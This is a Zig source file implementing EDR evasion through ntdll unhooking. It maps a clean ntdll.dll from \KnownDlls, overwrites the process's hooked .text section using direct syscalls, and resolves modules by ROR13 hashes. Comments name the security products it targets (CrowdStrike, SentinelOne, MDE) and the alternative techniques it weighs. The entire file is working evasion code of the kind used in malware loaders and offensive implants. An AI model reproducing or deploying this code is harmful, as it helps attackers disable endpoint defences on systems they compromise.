103 lines
3.6 KiB
Zig
103 lines
3.6 KiB
Zig
const std = @import("std");
|
|
const windows = std.os.windows;
|
|
const nt = @import("nt.zig");
|
|
const syscall = @import("syscall.zig");
|
|
const resolve = @import("resolve.zig");
|
|
const pe = @import("pe.zig");
|
|
|
|
var g_unhooked: bool = false;
|
|
|
|
// Map clean .text from \KnownDlls\ntdll.dll section object, overwrite EDR hooks.
|
|
// Heavily signatured by CrowdStrike and SentinelOne. Irrelevant against MDE which
|
|
// uses kernel callbacks and ETW-TI instead of user-mode hooks. FreshyCalls preferred.
|
|
pub fn unhookNtdll() void {
|
|
if (g_unhooked) return;
|
|
g_unhooked = true;
|
|
|
|
const ntdll_hash = resolve.hash_ror13("ntdll.dll");
|
|
const our_base = resolve.get_module_by_hash(ntdll_hash) orelse return;
|
|
const our_bytes: [*]u8 = @ptrCast(our_base);
|
|
|
|
const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(our_bytes));
|
|
if (dos.e_magic != 0x5A4D) return;
|
|
|
|
const nt_hdrs: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast(
|
|
our_bytes + @as(usize, @intCast(dos.e_lfanew)),
|
|
));
|
|
if (nt_hdrs.Signature != 0x00004550) return;
|
|
|
|
var text_va: usize = 0;
|
|
var text_size: usize = 0;
|
|
const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64);
|
|
const sections: [*]align(1) const pe.IMAGE_SECTION_HEADER = @ptrCast(@alignCast(our_bytes + section_off));
|
|
for (0..nt_hdrs.FileHeader.NumberOfSections) |i| {
|
|
if (std.mem.eql(u8, sections[i].Name[0..5], ".text") and sections[i].Name[5] == 0) {
|
|
text_va = sections[i].VirtualAddress;
|
|
text_size = sections[i].VirtualSize;
|
|
break;
|
|
}
|
|
}
|
|
if (text_va == 0 or text_size == 0) return;
|
|
|
|
const name = [_:0]u16{ '\\', 'K', 'n', 'o', 'w', 'n', 'D', 'l', 'l', 's', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0 };
|
|
var us: nt.UNICODE_STRING = .{
|
|
.Length = @sizeOf(@TypeOf(name)) - @sizeOf(u16),
|
|
.MaximumLength = @sizeOf(@TypeOf(name)),
|
|
.Buffer = @ptrCast(@constCast(&name)),
|
|
};
|
|
var oa = std.mem.zeroes(nt.OBJECT_ATTRIBUTES);
|
|
oa.Length = @sizeOf(nt.OBJECT_ATTRIBUTES);
|
|
oa.ObjectName = &us;
|
|
oa.Attributes = nt.OBJ_CASE_INSENSITIVE;
|
|
|
|
var section_handle: windows.HANDLE = undefined;
|
|
if (!nt.NT_SUCCESS(syscall.nt_open_section(§ion_handle, nt.SECTION_MAP_READ, &oa)))
|
|
return;
|
|
defer _ = syscall.nt_close(section_handle);
|
|
|
|
var view_base: ?*anyopaque = null;
|
|
var view_size: windows.SIZE_T = 0;
|
|
_ = syscall.nt_map_view_of_section(
|
|
section_handle,
|
|
syscall.nt_current_process(),
|
|
&view_base,
|
|
0,
|
|
0,
|
|
null,
|
|
&view_size,
|
|
2,
|
|
0,
|
|
nt.PAGE_READONLY,
|
|
);
|
|
|
|
if (view_base != null and view_size >= text_size) {
|
|
const clean_base: [*]const u8 = @ptrCast(view_base);
|
|
const our_text = our_bytes[text_va .. text_va + text_size];
|
|
|
|
var region_size: windows.SIZE_T = text_size;
|
|
var old_prot: windows.DWORD = 0;
|
|
var base_ptr: ?*anyopaque = @ptrCast(&our_bytes[text_va]);
|
|
if (!nt.NT_SUCCESS(syscall.nt_protect_virtual_memory(
|
|
syscall.nt_current_process(),
|
|
&base_ptr,
|
|
®ion_size,
|
|
nt.PAGE_READWRITE,
|
|
&old_prot,
|
|
))) return;
|
|
|
|
@memcpy(our_text, clean_base[0..text_size]);
|
|
|
|
base_ptr = @ptrCast(&our_bytes[text_va]);
|
|
region_size = text_size;
|
|
_ = syscall.nt_protect_virtual_memory(
|
|
syscall.nt_current_process(),
|
|
&base_ptr,
|
|
®ion_size,
|
|
nt.PAGE_EXECUTE_READ,
|
|
&old_prot,
|
|
);
|
|
}
|
|
|
|
if (view_base) |b| _ = syscall.nt_unmap_view_of_section(syscall.nt_current_process(), b);
|
|
}
|